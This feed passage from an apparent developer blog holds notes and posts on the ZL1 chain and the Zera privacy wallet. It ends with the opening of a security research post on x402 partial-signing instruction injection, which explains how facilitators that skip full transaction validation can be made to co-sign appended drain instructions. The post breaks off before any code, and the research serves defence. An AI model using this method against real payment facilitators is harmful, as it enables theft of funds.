  <content type="html"><![CDATA[<p>Stood up the SDK devnet docs + quickstart guide. The shielded-pool program ID had a stale value in the SDK&#39;s default config — three minutes of &quot;why does my proof verify but the CPI fails&quot; before I noticed. Hardcoded constant in <code>crates/zera-sdk-rs/src/constants.rs</code> was pointing at the old program; now derived from <code>ZERA_NETWORK</code> env so devnet/mainnet stay separate by construction.</p>
<p>Tip if you&#39;re ever doing this: move the program ID derivation into the same module as the IDL bindings. If they&#39;re in different files, future-you will pin them at different times and lose 3 minutes per drift event.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[ZK activation at height 997 (early blocks have no commitment)]]></title>
  <id>https://blog.skill-issue.dev/notes/zl1-zk-activation-height-997/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zl1/commit/f78d9ec"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zl1-zk-activation-height-997/"/>
  <published>2026-04-01T14:06:20.000Z</published>
  <updated>2026-04-01T14:06:20.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zl1"/>
  <category term="zk"/>
  <category term="consensus"/>
  <category term="bug"/>
  <content type="html"><![CDATA[<p>Found a fun chain-init bug. The ZK proof verification path was being triggered on every block from genesis, but the first ~1000 blocks were minted before the shielded-pool program was deployed. The verifier kept trying to read a commitment tree that didn&#39;t exist; transactions silently dropped.</p>
<p>Fix: hardcode <code>ZK_ACTIVATION_HEIGHT = 997</code> so blocks 0..996 skip ZK verification entirely (legacy-validation-only) and 997+ run the full pipeline. Bitcoin does this for every fork — SegWit, Taproot, witness-v2 — and now we do too. Soft-fork-able once we&#39;re on chain.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Coin selection: prefer single notes for fastest ZK proofs]]></title>
  <id>https://blog.skill-issue.dev/notes/zl1-coin-selection-fastest-proof/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zl1/commit/a0f687a"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zl1-coin-selection-fastest-proof/"/>
  <published>2026-04-01T07:45:07.000Z</published>
  <updated>2026-04-01T07:45:07.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zl1"/>
  <category term="zk"/>
  <category term="wallet"/>
  <category term="ux"/>
  <content type="html"><![CDATA[<p>Subtle wallet UX win: when a user has both a 5 BTC note and three 1.66 BTC notes, the wallet would pick whichever combo summed closest to the target output. That&#39;s optimal for <em>change minimisation</em> — but proof generation time scales linearly with input notes, and a 1-input proof is 3-5× faster than a 3-input one on the same hardware.</p>
<p>New rule: prefer the smallest set of notes that sum to ≥ target, breaking ties by largest single note. The user feels the difference immediately — proof goes from 4s to 1s on a M1 MacBook.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[ESM crypto import in Vite — stop using `require()`]]></title>
  <id>https://blog.skill-issue.dev/notes/zl1-vite-esm-crypto/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zl1/commit/992e1f2"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zl1-vite-esm-crypto/"/>
  <published>2026-04-01T06:32:47.000Z</published>
  <updated>2026-04-01T06:32:47.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zl1"/>
  <category term="vite"/>
  <category term="esm"/>
  <category term="build"/>
  <content type="html"><![CDATA[<p>Vite 5 with <code>&quot;type&quot;: &quot;module&quot;</code> rejects <code>require(&quot;crypto&quot;)</code>. Symptom: dev server boots, prod build silently drops the crypto import, runtime crashes on first signature verify. No warning at build time.</p>
<p>Fix: <code>import { createHash } from &quot;node:crypto&quot;</code> (the <code>node:</code> prefix matters too — without it, the bundler tries to find a polyfill called &quot;crypto&quot; and ships ~120KB of extra code). The <code>node:</code> prefix tells Vite to keep the import as a node-builtin and not try to bundle it.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Auto-shield mining rewards + atomic-swap CLI]]></title>
  <id>https://blog.skill-issue.dev/notes/zl1-auto-shield-mining/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zl1/commit/35e6458"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zl1-auto-shield-mining/"/>
  <published>2026-04-01T06:12:02.000Z</published>
  <updated>2026-04-01T06:12:02.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zl1"/>
  <category term="mining"/>
  <category term="atomic-swaps"/>
  <category term="cli"/>
  <content type="html"><![CDATA[<p>Two features in one commit:</p>
<ol>
<li><strong>Auto-shield mining rewards</strong> — when a Vanta block matures (30 confirmations), the wallet automatically converts the coinbase into a shielded note. No manual <code>shield 6.25</code> step. The miner who runs the wallet is now indistinguishable on-chain from any other shielded participant.</li>
<li><strong>Atomic-swap CLI</strong> — <code>zer-cli swap btc:0.001 zer:200</code> opens an HTLC against a remote counterparty, watches both chains for confirmations, and refunds on timeout. First production-quality BTC ↔ ZER UX.</li>
</ol>
<p>The auto-shield is the one users notice. Half the value of a privacy chain is everybody using the privacy features by default.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Docker + Fly.io seed-node config for ZL1]]></title>
  <id>https://blog.skill-issue.dev/notes/zl1-fly-seed-deployment/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zl1/commit/09d693d"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zl1-fly-seed-deployment/"/>
  <published>2026-04-01T05:53:42.000Z</published>
  <updated>2026-04-01T05:53:42.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zl1"/>
  <category term="fly.io"/>
  <category term="docker"/>
  <category term="deploy"/>
  <content type="html"><![CDATA[<p>ZL1 seed-node deploy lands. <code>Dockerfile</code> is a tiny multi-stage Rust build; <code>fly.toml</code> declares 1 GB memory + persistent volume for the chain database + restart policy <code>on-failure</code>.</p>
<p>Three Fly gotchas I keep tripping over: (1) <code>min_machines_running = 1</code> is not the default, and seed nodes need it on; (2) <code>auto_stop_machines = false</code> for the same reason — Fly&#39;s eager scale-to-zero will kill your peer; (3) volumes are region-pinned. If you scale to a new region, you get a <em>new</em> volume, and your chain state isn&#39;t there. Always pin the deploy region.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[144 tests across the SDK]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-sdk-144-tests/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-sdk/commit/809274f"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-sdk-144-tests/"/>
  <published>2026-03-31T14:40:54.000Z</published>
  <updated>2026-03-31T14:40:54.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-sdk"/>
  <category term="tests"/>
  <category term="ci"/>
  <content type="html"><![CDATA[<p>Hit 144 tests across the <a href="https://github.com/Dax911/zera-sdk">zera-sdk</a> monorepo today. Coverage is decent on <code>note</code>, <code>commitment</code>, <code>nullifier</code>, and the Groth16 verifier glue; thinner on the Solana-side CPI dispatch, which is where the integration matrix is going to be painful.</p>
<p>The shape of the test pyramid is wrong: too many unit tests, not enough end-to-end. Need a <code>bun test:e2e</code> lane that boots a local solana-test-validator + deploys the verifier program + signs a real proof. That&#39;s the next milestone.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Building the ZERA Wallet for desktop, iOS, and Android]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_wallet_three_platforms/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_wallet_three_platforms/"/>
  <published>2026-03-25T05:13:33.000Z</published>
  <updated>2026-03-25T05:13:33.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="wallet"/>
  <category term="react"/>
  <category term="typescript"/>
  <category term="mobile"/>
  <category term="ux"/>
  <summary type="html"><![CDATA[Three platforms, one shielded pool, one design system. The trade-offs of building a wallet that has to feel like cash on a phone, like a tool on a laptop, and the same on both.]]></summary>
  <content type="html"><![CDATA[<p>Most wallet posts start with the cryptography. This one starts with the part that is harder.</p>
<p>The cryptography is solved. We have <a href="/blog/pedersen_commitments_in_production/">Pedersen commitments</a>, <a href="/blog/nullifiers_without_witchcraft/">nullifiers</a>, Groth16 proofs that run in human-tolerable time, and a <a href="/blog/mcp_server_inside_zera_sdk/">SDK with the right asymmetric MCP surface</a>. The hard problem is the one that does not appear in any cryptography paper: <strong>how do you make a wallet that feels like cash on a phone, like a tool on a laptop, and the same product on both?</strong></p>
<p>This is the part of <a href="https://wallet.zeralabs.org">Zera Wallet</a> that nobody quotes the marketing copy of. It is also the part that takes the most code.</p>
<h2>Three platforms is two too many — except it isn&#39;t</h2>
<p>The temptation when you launch a wallet in 2026 is to ship &quot;mobile first&quot; and let the desktop experience be a responsive cousin. There is a real argument for this: the median crypto user holds their assets on a phone, the offline-P2P story is a phone story (you tap two phones, you don&#39;t tap two laptops), and the mobile design constraints force discipline.</p>
<p>We almost did that. The reason we didn&#39;t is the user we kept seeing in customer development: the <em>operator.</em></p>
<p>Operators are the people who run the treasury for a Zera-using business, who hold the cold-storage keys, who reconcile the books at end-of-quarter. They live on laptops. They want a wallet that gives them dense information — a real table of unspent notes, sortable, filterable, exportable to CSV. They are not an edge case; they are the customer who pays.</p>
<p>So we ended up with the same product on three platforms with deliberately different information density:</p>
<ul>
<li><strong>Mobile</strong> — single-task, gesture-driven, big tap targets, NFC pairing for offline P2P, Face ID / biometrics gate on every send.</li>
<li><strong>Desktop</strong> — multi-pane, keyboard-first, dense tables, hardware-key signing, multi-account view, CSV export.</li>
<li><strong>iOS / Android</strong> — same Mobile UX, native share sheets, native NFC stack, platform-specific Secure Enclave integration.</li>
</ul>
<p>The thing that makes this tractable is that the <em>primitives</em> underneath are identical. Same shielded pool. Same SDK. Same Merkle tree. The wallet is just three different lenses over the same state.</p>
<h2>The reference UX lives in <code>zera-wallet-demo</code></h2>
<p>Before the production wallet got a single line of code, the <a href="https://github.com/Dax911/zera-wallet-demo"><code>zera-wallet-demo</code></a> repo was running. It was — and still is — the canonical reference for what the wallet should <em>feel</em> like. From <a href="/blog/zera_wallet_v3_zkp/">the v3 ZKP commit log</a> it is clear we iterated on the mental model in the demo dozens of times before committing to the production shape.</p>
<p>The demo&#39;s package.json is a fair list of the bets we made:</p>
<pre><code class="language-json">&quot;dependencies&quot;: {
  &quot;@solana/wallet-adapter-react&quot;: &quot;^0.15.35&quot;,
  &quot;@solana/wallet-adapter-react-ui&quot;: &quot;^0.9.35&quot;,
  &quot;@solana/web3.js&quot;: &quot;^1.98.0&quot;,
  &quot;framer-motion&quot;: &quot;^11.11.17&quot;,
  &quot;lucide-react&quot;: &quot;^0.468.0&quot;,
  &quot;react&quot;: &quot;^19.0.0&quot;,
  &quot;react-router-dom&quot;: &quot;^7.1.0&quot;,
  &quot;sonner&quot;: &quot;^1.7.1&quot;,
  &quot;tailwind-merge&quot;: &quot;^2.6.0&quot;,
  &quot;zeraswap-sdk&quot;: &quot;workspace:*&quot;
}
</code></pre>
<p>A few of those choices deserve specific defence.</p>
<h3>React 19 was not the easy call</h3>
<p>React 19 was barely a year old when we started, and the wallet ecosystem on Solana is full of libraries that were tested against React 17 and 18 and quietly assume hooks behave a specific way. We took the upgrade hit because the Server Components story changes how we think about <em>this is sensitive data, do not render it client-side</em> — even though we mostly use it from the client side, the discipline of marking which components touch keys and which do not made the security model cleaner.</p>
<h3><code>framer-motion</code> for trust signals</h3>
<p>You do not normally find a high-end animation library in a wallet codebase. We use it for one specific thing: the &quot;send confirmed&quot; state.</p>
<p>The transition between <em>&quot;you have authorised this send&quot;</em> and <em>&quot;this send is final on chain&quot;</em> is a moment of maximum user anxiety. A jarring instant flip from a button to a checkmark looks like the app glitched. A 350ms eased fade-in with the prior state visible underneath, settling into a green check, looks like the app is doing something. The animation is the <em>trust signal.</em> <code>framer-motion</code> makes that easy to ship and impossible to do badly.</p>
<p>We honour <code>prefers-reduced-motion</code> everywhere. The animation is decoration, not load-bearing.</p>
<h3><code>sonner</code> for toasts</h3>
<p>Most toast libraries on React are ugly or overengineered. <code>sonner</code> is what happens when someone with taste shipped a toast library and called it done. The fact that it stacks gracefully and gets out of the way is the entire pitch.</p>
<h3><code>lucide-react</code> for icons, no exceptions</h3>
<p>Across the entire Zera codebase — wallet, SDK, <a href="/blog/zera_med_zk_fhir/">zera-med</a>, <a href="/blog/zeraswap_compressed_amm/">zeraswap</a>, even <a href="/blog/why_i_started_zera_labs/">this blog</a> — every single icon is from Lucide. One pack, one stroke weight, one optical alignment. This is the kind of decision that costs nothing to make in week one and is impossible to retrofit in year two.</p>
<h2>The mobile drawer, ported</h2>
<p>You can see the design language travel between repos in the <a href="/blog/zera_med_responsive_hud/">responsive HUD work on <code>zera_med_demo</code></a> — the mobile drawer that ships in <code>zera-wallet-demo</code> is the same component, give or take a tag, that we shipped in the medical-records demo two months earlier. That is what a design system is <em>for.</em> Not the Tailwind tokens, not the icon pack, but the muscle memory of &quot;we have already solved &#39;phone with a sidebar that needs to also work on desktop.&#39;&quot;</p>
<h2>What the production wallet adds</h2>
<p>The demo is the lab. The production wallet adds three things the demo deliberately does not:</p>
<ol>
<li><strong>Hardware-key signing</strong> — Ledger and (TODO: Dax confirm — Trezor support is in progress) — for the operator desktop case. The demo signs entirely in the browser; the production app refuses to broadcast a transaction whose proof was constructed without a hardware-signed approval.</li>
<li><strong>Native iOS / Android shells</strong> — TODO: Dax confirm exact framework choice (Tauri vs. React Native vs. native). The demo runs in a browser; the production app needs Secure Enclave access and the platform NFC stack, which means a real native shell.</li>
<li><strong>Compliance hooks</strong> — for the venues that need them. ZERA is token-agnostic and venue-flexible. The wallet has a clean integration point for permissioned KYC layers without making them mandatory for the protocol. Reasonable people can disagree about how much compliance belongs at the wallet edge; we ship the surface and let the customer choose.</li>
</ol>
<h2>The question I get asked the most</h2>
<blockquote>
<p><em>Why a wallet at all? Isn&#39;t ZERA an SDK story?</em></p>
</blockquote>
<p>The SDK is for developers. The wallet is for everyone else. <strong>You cannot ship privacy as a primitive that only protocol engineers can integrate.</strong> If we want a unified shielded pool to be the default for stablecoin transfers in 2027, the on-ramp has to be a wallet you can hand to your accountant, your sister, and an autonomous AI agent — and it has to feel obvious to all three.</p>
<p>The wallet is the product. The SDK is the <em>contract.</em></p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera-wallet-demo">zera-wallet-demo on GitHub</a> — the reference UX</li>
<li><a href="https://wallet.zeralabs.org">wallet.zeralabs.org</a> — production landing</li>
<li><a href="/blog/zera_wallet_v3_zkp/">Zera Wallet v3 ZKP</a> — the commit log</li>
<li><a href="/blog/mcp_server_inside_zera_sdk/">The MCP server inside zera-sdk</a></li>
<li><a href="/blog/zera_med_responsive_hud/">A Privacy Demo That Works on a Phone</a> — sibling design work</li>
<li>Solana Foundation, <em>Wallet Standard</em> — the React-side wallet-adapter contract</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Zera Wallet v3: ZK Proofs in a Tauri Webview]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_wallet_v3_zkp/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_wallet_v3_zkp/"/>
  <published>2026-03-24T15:45:10.000Z</published>
  <updated>2026-03-25T05:13:33.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="wallet"/>
  <category term="tauri"/>
  <category term="rust"/>
  <category term="react"/>
  <category term="zk"/>
  <category term="groth16"/>
  <category term="nfc"/>
  <summary type="html"><![CDATA[A Tauri 2 desktop wallet that proves Groth16 in the browser, persists encrypted notes locally, talks NFC to physical bearer cards, and never lets the private key out of Rust.]]></summary>
  <content type="html"><![CDATA[<p>The Zera SDK is the engine. The wallet is the car. Three weeks after the SDK shipped, I started building the v3 desktop wallet — Tauri 2 + React 18, with a Rust keystore that never lets the seed touch JavaScript and a webview that runs Groth16 provers in WebAssembly.</p>
<p>The initial commit is <a href="https://github.com/Dax911/zera-wallet-demo/commit/39b55182b349da8896cd841dad753bb162ddcc48"><code>39b5518</code></a> on 2026-03-24. The follow-up — the one that made the wallet actually do anything — is <a href="https://github.com/Dax911/zera-wallet-demo/commit/660283fe9a16d7f1a471cdf06542f5592bf8ba9f"><code>660283f</code> — <code>ZKP core, real data layer, wallet unlock, note scanning</code></a> the same day. The third commit, <a href="https://github.com/Dax911/zera-wallet-demo/commit/d061813aa98d83aa7dfcb59f0a7ce7c5ef3993d2"><code>d061813</code></a> on 2026-03-25, added P2P send + NFC bearer cards. Three commits, ~3000 lines of meaningful code, full privacy stack.</p>
<p>This post is about what&#39;s load-bearing in those three commits.</p>
<h2>The trust model: Rust holds the key</h2>
<p>The hardest design decision in any Tauri wallet is <em>where the private key lives</em>. The naive thing is to load it into JavaScript, sign in JS, send. The naive thing leaks the key the first time anything in the JS supply chain (<a href="/blog/rusty_pipes/">Rusty Pipes</a>, say) gets compromised.</p>
<p>The right thing is <code>keystore.rs</code>:</p>
<pre><code class="language-rust">// src-tauri/src/keystore.rs
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct WalletFile {
    pub version: u32,
    pub salt: String,        // Argon2 salt, hex
    pub nonce: String,       // ChaCha20 nonce, hex
    pub ciphertext: String,  // Encrypted payload (JSON: { seed, entropy })
    pub pubkey: String,      // base58, unencrypted for display before unlock
}

struct WalletPayload {
    seed: String,            // 64-byte BIP39 seed for mnemonic, 32-byte raw key otherwise
    entropy: String,         // 16-byte entropy for 12-word recovery
    key_type: String,        // &quot;mnemonic&quot; or &quot;raw_key&quot;
}
</code></pre>
<p>The seed lives in <code>$APPDATA/zera/wallet.enc</code>, encrypted with ChaCha20-Poly1305 under a key derived from the user&#39;s password via Argon2id. The pubkey is stored in plaintext so the unlock screen can show &quot;Unlock wallet ABC123...&quot; before the user types anything.</p>
<p>The frontend never sees the seed. Ever. Sign requests go through a Tauri command:</p>
<pre><code class="language-rust">#[tauri::command]
pub async fn sign_and_send_transaction(/* ... */) -&gt; Result&lt;String, String&gt; {
    // Decrypt seed using the in-memory unlock key, sign tx, send to RPC,
    // return signature. Seed is zeroized at end of scope.
}
</code></pre>
<p>If the frontend gets compromised, the worst it can do is request signatures. It cannot exfiltrate the key.</p>
<h2>Importing keys from Phantom and Solflare without breaking the trust model</h2>
<p>The keystore had to handle three import paths from day one:</p>
<ol>
<li><strong>Generate a new wallet</strong> — fresh BIP39 mnemonic, derive seed, encrypt, store.</li>
<li><strong>Import a 12/24-word mnemonic</strong> — same as above but seeded by user input.</li>
<li><strong>Import a raw private key</strong> — base58 from Phantom, base64 from Solflare, base58 from <code>solana-keygen</code>. Raw 32-byte key gets put in <code>seed</code> with <code>key_type = &quot;raw_key&quot;</code> so the unlock path knows not to treat it as BIP39 entropy.</li>
</ol>
<p>The viewing-key derivation is web-wallet-compatible — same HKDF schedule the original web wallet used so a user could import the same seed and see the same shielded notes. That backwards-compat constraint cost me a day; without it the wallet would have been quietly incompatible with the SDK&#39;s <code>MemoryNoteStore</code> semantics in practice.</p>
<h2>Groth16 in a webview</h2>
<p>The wallet ships <a href="https://github.com/Dax911/zera-wallet-demo/tree/660283fe9a16d7f1a471cdf06542f5592bf8ba9f/public/circuits">the same circuit files as the web wallet</a>: <code>deposit.wasm</code>, <code>deposit_final.zkey</code>, <code>withdraw.wasm</code>, <code>withdraw_final.zkey</code>, <code>transfer.wasm</code>, <code>transfer_final.zkey</code>, plus <code>relayed_withdraw</code> variants. The Tauri webview loads them statically, runs <code>snarkjs.groth16.fullProve</code>, gets a proof + public signals out, and hands them back to Rust to format for Solana.</p>
<p>The split is intentional:</p>
<ul>
<li><strong>JS proves.</strong> Because snarkjs is the canonical, audited Groth16 prover for circomlib circuits.</li>
<li><strong>Rust signs.</strong> Because the seed lives there.</li>
</ul>
<p>The tx flow is therefore:</p>
<pre><code>JS:    build inputs → snarkjs.fullProve → proof + publicSignals
JS:    send to Tauri command with proof, commitment, recipient
Rust:  decrypt seed → build solana tx (using SDK builders) → sign → send
Rust:  return signature to JS
JS:    on success, append note to encrypted note store
</code></pre>
<p>Snarkjs is heavy — about 30s on a cold proof, 5–8s warm — but the alternative is &quot;ship a Rust-native Groth16 prover,&quot; which is a multi-week project of its own and which would still need to consume the same <code>.zkey</code> artifacts.</p>
<h2>Notes are private. Notes are also a database.</h2>
<p>A privacy wallet without a note store is just a key manager. Every shielded transaction produces output notes that <em>only the recipient can decrypt</em>, and the recipient has to scan the chain to find them. The wallet ships <a href="https://github.com/Dax911/zera-wallet-demo/blob/660283fe9a16d7f1a471cdf06542f5592bf8ba9f/src/lib/noteEncryption.ts"><code>src/lib/noteEncryption.ts</code></a>, which implements ECDH + nacl.box (XSalsa20-Poly1305). The plaintext format is versioned and binary-packed:</p>
<pre><code class="language-ts">// v2: single note — 169 bytes plaintext
// [0x02][amount u64 LE][secret 32B][blinding 32B]
// [asset 32B][commitment 32B][nullifier 32B]

// v3: note pair — 145 bytes plaintext
// [0x03][amt1 u64 LE][secret1 32B][blinding1 32B]
//       [amt2 u64 LE][secret2 32B][blinding2 32B]
// Used for splits where both outputs go to the same key.
// Packing two notes into one nacl.box saves 265 bytes on-chain.

const BINARY_V2_LEN = 1 + 8 + 32 + 32 + 32 + 32 + 32; // 169
const BINARY_V3_LEN = 1 + 72 + 72;                    // 145
</code></pre>
<p>Why not JSON? Two reasons:</p>
<ol>
<li><strong>Bytes are cheap on Solana, JSON is expensive.</strong> Every byte you encrypt is a byte you store on-chain (or in an encrypted memo). 169 binary bytes compress to about 80% the size of equivalent JSON.</li>
<li><strong>Format versioning is robust.</strong> A leading tag byte (0x02, 0x03) lets older wallets recognize unsupported formats and fall back gracefully instead of decrypting garbage.</li>
</ol>
<h2>Note persistence</h2>
<p>The thing nobody warns you about with privacy wallets: <strong>if you lose your local note store, you can only recover funds by scanning the on-chain Merkle tree with your viewing key.</strong> That scan is slow, expensive in RPC calls, and has to be done from scratch every time. So the wallet auto-persists notes to disk:</p>
<pre><code class="language-ts">// src/lib/notePersistence.ts
const NOTES_FILE = &quot;zera/notes.json&quot;;
const NFC_FILE   = &quot;zera/nfc-cards.json&quot;;

export async function saveNotesToDisk(notes: any[]): Promise&lt;void&gt; {
  await mkdir(&quot;zera&quot;, { baseDir: BaseDirectory.AppData, recursive: true })
    .catch(() =&gt; {});
  await writeTextFile(NOTES_FILE, JSON.stringify(notes, null, 2),
    { baseDir: BaseDirectory.AppData });
}
</code></pre>
<p>Notes auto-save on every change and load on startup. The encrypted-at-rest version of this is on the roadmap; for v3 the notes file is plain JSON in <code>$APPDATA</code>, which assumes the user trusts their own machine. The next iteration wraps it in the same ChaCha20 layer the keystore uses.</p>
<h2>NFC bearer cards</h2>
<p>The wallet&#39;s most futuristic feature — and the one most likely to feel like sci-fi to anyone who hasn&#39;t used it — is NFC bearer cards. From the <code>d061813</code> commit message:</p>
<blockquote>
<p>NFC page: real shielded notes, arbitrary amounts, custom mint, write pool notes to tags, read tags back into pool</p>
</blockquote>
<p>The model: take an unspent shielded note from your pool, serialize the encrypted plaintext into an NFC tag&#39;s NDEF record, hand the physical card to someone. They tap it on their wallet, the wallet pulls the encrypted blob, decrypts it with their viewing key, and the note becomes theirs. No on-chain transaction at all. The note&#39;s nullifier is only revealed when the recipient eventually spends it.</p>
<p>This is the &quot;physical cash&quot; path I&#39;d been sketching since the <a href="/blog/a_better_crypto/">a better cryptocurrency</a> post a year earlier, and the <a href="/blog/m0n3y_naming_a_dream/">m0n3y voting proposal</a>. The wallet shipped it as a real button. PC/SC + Proxmark3 hardware support, both supported in <code>src-tauri/</code>.</p>
<h2>Trade-offs</h2>
<p><strong>Why Tauri instead of Electron?</strong> Because Electron ships a 200MB Chrome runtime and its security model has been a moving target for years. Tauri&#39;s webview + minimal-IPC model gives me the trust boundary I need (Rust ↔ JS) for free.</p>
<p><strong>Why snarkjs in JS instead of a Rust prover?</strong> Because snarkjs is the audited canonical prover for circomlib circuits. Rolling my own Rust prover would have shifted weeks of audit risk onto a Rust crate that nobody else uses.</p>
<p><strong>Why plain JSON note persistence in v3?</strong> Because the alternative was holding the wallet release for an encrypted-at-rest design pass that was already a TODO. v3 ships now, encryption-at-rest of the note store ships in v3.1.</p>
<p><strong>Why ship a viewing-key compatibility layer with the web wallet?</strong> Because the only thing worse than a privacy wallet you can&#39;t import into is a privacy wallet that <em>silently</em> doesn&#39;t import the same notes. Compatibility is a design constraint that has to be in v1 of any new client.</p>
<h2>What this taught me</h2>
<p>The trust boundary of a wallet is the most expensive surface in the project. Every subsystem you build either reinforces it (Rust holds the seed; JS sees ciphertexts) or breaks it (JS reads the keystore; key escrow services). v3 reinforced. The cost: ~30% of the codebase is the IPC plumbing. The benefit: a <a href="/blog/rusty_pipes/">Rusty Pipes</a> compromise of the JS supply chain doesn&#39;t lose anyone&#39;s funds.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera-wallet-demo">zera-wallet-demo on GitHub</a></li>
<li><a href="https://github.com/Dax911/zera-wallet-demo/commit/39b55182b349da8896cd841dad753bb162ddcc48">Initial v3 commit</a></li>
<li><a href="https://github.com/Dax911/zera-wallet-demo/commit/660283fe9a16d7f1a471cdf06542f5592bf8ba9f">ZKP core + real data layer</a></li>
<li><a href="https://github.com/Dax911/zera-wallet-demo/commit/d061813aa98d83aa7dfcb59f0a7ce7c5ef3993d2">P2P send + NFC bearer notes</a></li>
<li><a href="https://v2.tauri.app/">Tauri 2.x docs</a></li>
<li><a href="https://github.com/iden3/snarkjs">snarkjs</a> — the Groth16 prover this wallet ships in JS.</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK day one</a> — the engine this wallet drives.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Zera Wallet v3: ZKP core + real data layer]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-wallet-v3-zkp-core/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-wallet-demo/commit/660283f"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-wallet-v3-zkp-core/"/>
  <published>2026-03-24T20:08:07.000Z</published>
  <updated>2026-03-24T20:08:07.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-wallet"/>
  <category term="zkp"/>
  <category term="milestone"/>
  <content type="html"><![CDATA[<p>Wallet v3 has the Groth16 proving core wired in, plus a real data layer (no more <code>localStorage</code> mocks). Note scanning runs against the actual nullifier tree, wallet unlock derives keys from a passphrase via Argon2id.</p>
<p>The bit that took the longest wasn&#39;t the proving — that&#39;s a wasm import — it was the <strong>note discovery</strong>. Every block, the wallet has to try-decrypt every commitment to see which ones are theirs. Trial-decrypt of 1000 notes is ~80ms in the browser; with <a href="/blog/upee_universal_private_execution/">fuzzy message detection</a> on the roadmap, that drops to &lt;10ms.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[x402 Vector 2: partial-signing instruction injection]]></title>
  <id>https://blog.skill-issue.dev/blog/x402_partial_signing_injection/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/x402_partial_signing_injection/"/>
  <published>2026-03-23T18:00:00.000Z</published>
  <updated>2026-03-23T18:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="security"/>
  <category term="x402"/>
  <category term="solana"/>
  <category term="transaction-injection"/>
  <category term="research"/>
  <summary type="html"><![CDATA[The x402 client builds and partially signs the entire VersionedTransaction. A facilitator that validates structure but not bytes can co-sign a tx with extra clawback / drain instructions appended after the legitimate transfer.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The trust split in x402 is unusual. The <strong>client</strong> builds the entire VersionedTransaction. The <strong>facilitator</strong> signs as feePayer and submits. The facilitator pays gas; the client picks the recipient, the amount, the compute budget — <em>and the rest of the instructions</em>.</p>
<p>Most facilitators validate that the tx contains a <code>TransferChecked</code> for the agreed-upon (mint, amount, recipient). They do not always validate that <strong>nothing else</strong> is in the tx. That&#39;s the bug.</p>
<p>Post 3 of the <a href="/series/x402-attack-surface/">x402 attack surface series</a>.</p>
<Aside kind="warn">
PoC code at [Dax911/x402_mal](https://github.com/Dax911/x402_mal) targets only my mock facilitator. Reproducing this against a real facilitator without permission is unethical and probably illegal under CFAA.
</Aside>

<h2>The trust gap</h2>
<p>A typical x402 transaction looks like:</p>
<pre><code>[0]  ComputeBudgetProgram::SetComputeUnitLimit(40_000)
[1]  ComputeBudgetProgram::SetComputeUnitPrice(5)
[2]  TokenProgram::TransferChecked(amount=1000, mint=USDC, src, dst)
</code></pre>
<p>The facilitator&#39;s <code>/verify</code> endpoint typically:</p>
<ol>
<li>Decodes the tx.</li>
<li>Checks <code>feePayer == self.address</code>.</li>
<li>Loops through instructions; finds the <code>TransferChecked</code>; asserts amount + recipient match.</li>
<li>Returns 200.</li>
</ol>
<p>What the facilitator usually does <strong>not</strong> check:</p>
<ul>
<li>The presence of <em>additional</em> instructions after the transfer.</li>
<li>Whether the recipient ATA&#39;s authority is a token-2022 mint with a transfer hook that calls back into a malicious program.</li>
<li>Whether the <code>mint</code> field of the <code>TransferChecked</code> matches the protocol-spec&#39;d USDC mint <em>byte-for-byte</em> (the SPL token program checks the mint&#39;s pubkey but doesn&#39;t enforce a particular mint).</li>
</ul>
<h2>Three injection patterns</h2>
<h3>Pattern A: clawback via post-transfer CPI</h3>
